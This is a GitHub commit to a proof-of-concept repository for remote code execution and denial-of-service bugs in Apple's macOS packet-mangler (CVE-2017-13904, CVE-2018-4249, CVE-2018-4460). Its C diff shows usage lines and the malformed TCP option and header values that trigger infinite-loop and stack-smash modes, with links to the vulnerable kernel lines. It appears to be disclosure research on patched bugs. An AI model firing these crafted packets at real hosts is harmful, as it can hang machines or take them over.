Skip to content

Commit 363fc68

Browse files
Add PoC for CVE-2018-4460.
1 parent 25cf1b9 commit 363fc68

2 files changed

Lines changed: 16 additions & 4 deletions

File tree

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
1-
## Remote code execution in Apple's packet-mangler (CVE-2017-13904, CVE-2018-4249)
1+
## Remote code execution in Apple's packet-mangler (CVE-2017-13904, CVE-2018-4249, CVE-2018-4460)
22

33
Proof-of-concept exploit for remote code execution vulnerability in the packet-mangler component of macOS: CVE-2017-13904, CVE-2018-4249. The vulnerability was fixed in macOS High Sierra 10.13.5, which was released on June 1, 2018.
44

5+
Update: Apple's fix for the infinite loop bug was incomplete. The fix for CVE-2018-4460 was released on December 5, 2018.
6+
57
For details on how to compile and run this exploit, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_packet_mangler_CVE-2017-13904).

apple/darwin-xnu/packet_mangler_CVE-2017-13904/cve-2017-13904-poc.c

Lines changed: 13 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -57,9 +57,9 @@ unsigned short csum(unsigned short *ptr, int nbytes)
5757
}
5858

5959
enum Mode {
60-
InfiniteLoopMode,
61-
InfiniteLoopMode2,
62-
SmashStackMode
60+
InfiniteLoopMode, // CVE-2017-13904
61+
InfiniteLoopMode2, // CVE-2018-4460
62+
SmashStackMode // CVE-2018-4249
6363
};
6464

6565
int main(int argc, char* argv[])
@@ -75,6 +75,7 @@ int main(int argc, char* argv[])
7575
printf("Usage: sudo ./a.out <source ip> <dest ip> <mode>\n");
7676
printf("Examples:\n");
7777
printf(" sudo ./a.out 192.168.0.8 192.168.0.12 infinite\n");
78+
printf(" sudo ./a.out 192.168.0.8 192.168.0.12 infinite2\n");
7879
printf(" sudo ./a.out 192.168.0.8 192.168.0.12 smashstack\n");
7980
return 1;
8081
}
@@ -85,11 +86,14 @@ int main(int argc, char* argv[])
8586
dest_ip[sizeof(dest_ip) - 1] = '\0';
8687

8788
if (strcmp(argv[3], "infinite") == 0) {
89+
// CVE-2017-13904
8890
mode = InfiniteLoopMode;
8991
} else if (strcmp(argv[3], "infinite2") == 0) {
92+
// CVE-2018-4460
9093
mode = InfiniteLoopMode2;
9194
printf("infinite2\n");
9295
} else if (strcmp(argv[3], "smashstack") == 0) {
96+
// CVE-2018-4249
9397
mode = SmashStackMode;
9498
payloadsize = 1000;
9599
} else {
@@ -124,9 +128,13 @@ int main(int argc, char* argv[])
124128
memset(data, 1, payloadsize);
125129

126130
if (mode == InfiniteLoopMode) {
131+
// Trigger bug here:
132+
// https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L966
127133
data[0] = 2;
128134
data[1] = 0;
129135
} else if (mode == InfiniteLoopMode2) {
136+
// Trigger bug here:
137+
// https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L993
130138
data[0] = TCP_OPT_MULTIPATH_TCP;
131139
data[1] = 0;
132140
}
@@ -158,6 +166,8 @@ int main(int argc, char* argv[])
158166
tcph->seq = 0;
159167
tcph->ack_seq = 0;
160168
if (mode == SmashStackMode) {
169+
// Trigger bug here:
170+
// https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L951
161171
tcph->doff = 0;
162172
} else {
163173
tcph->doff = 0xF;

0 commit comments

Comments
 (0)